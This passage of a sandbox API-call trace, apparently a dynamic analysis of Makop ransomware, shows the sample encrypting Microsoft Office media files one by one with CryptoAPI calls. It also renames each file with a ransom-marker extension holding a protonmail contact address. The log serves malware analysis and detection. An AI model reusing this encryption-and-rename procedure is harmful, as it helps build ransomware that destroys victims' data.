dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.120] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.120] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.121] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.121] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d3a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d3a, lpOverlapped=0x0) returned 1 [0163.122] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d40, dwBufLen=0x1d40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d40) returned 1 [0163.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.123] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d40, lpOverlapped=0x0) returned 1 [0163.123] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.123] SetEndOfFile (hFile=0xf0) returned 1 [0163.130] GetProcessHeap () returned 0x48a0000 [0163.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.130] GetProcessHeap () returned 0x48a0000 [0163.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.130] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.132] CloseHandle (hObject=0xf0) returned 1 [0163.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0163.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF") returned 61 [0163.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.134] GetProcessHeap () returned 0x48a0000 [0163.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.134] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.138] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.138] GetProcessHeap () returned 0x48a0000 [0163.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.138] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.139] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.140] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.140] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.140] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3138, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3138, lpOverlapped=0x0) returned 1 [0163.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3140, dwBufLen=0x3140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3140) returned 1 [0163.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3140, lpOverlapped=0x0) returned 1 [0163.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.145] SetEndOfFile (hFile=0xf0) returned 1 [0163.152] GetProcessHeap () returned 0x48a0000 [0163.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.152] GetProcessHeap () returned 0x48a0000 [0163.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.153] CloseHandle (hObject=0xf0) returned 1 [0163.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0163.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF") returned 61 [0163.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.155] GetProcessHeap () returned 0x48a0000 [0163.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.160] GetProcessHeap () returned 0x48a0000 [0163.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.160] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.160] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.161] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c06, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c06, lpOverlapped=0x0) returned 1 [0163.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10) returned 1 [0163.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c10, lpOverlapped=0x0) returned 1 [0163.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.163] SetEndOfFile (hFile=0xf0) returned 1 [0163.170] GetProcessHeap () returned 0x48a0000 [0163.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.170] GetProcessHeap () returned 0x48a0000 [0163.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.170] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.172] CloseHandle (hObject=0xf0) returned 1 [0163.172] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0163.172] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF") returned 61 [0163.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.175] GetProcessHeap () returned 0x48a0000 [0163.175] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.175] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.175] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.179] GetProcessHeap () returned 0x48a0000 [0163.179] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.180] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.180] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.180] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5d78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5d78, lpOverlapped=0x0) returned 1 [0163.182] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d80, dwBufLen=0x5d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5d80) returned 1 [0163.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5d80, lpOverlapped=0x0) returned 1 [0163.183] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.183] SetEndOfFile (hFile=0xf0) returned 1 [0163.190] GetProcessHeap () returned 0x48a0000 [0163.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.190] GetProcessHeap () returned 0x48a0000 [0163.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.190] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.192] CloseHandle (hObject=0xf0) returned 1 [0163.193] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0163.193] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF") returned 61 [0163.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.194] GetProcessHeap () returned 0x48a0000 [0163.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.194] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.194] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.194] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, 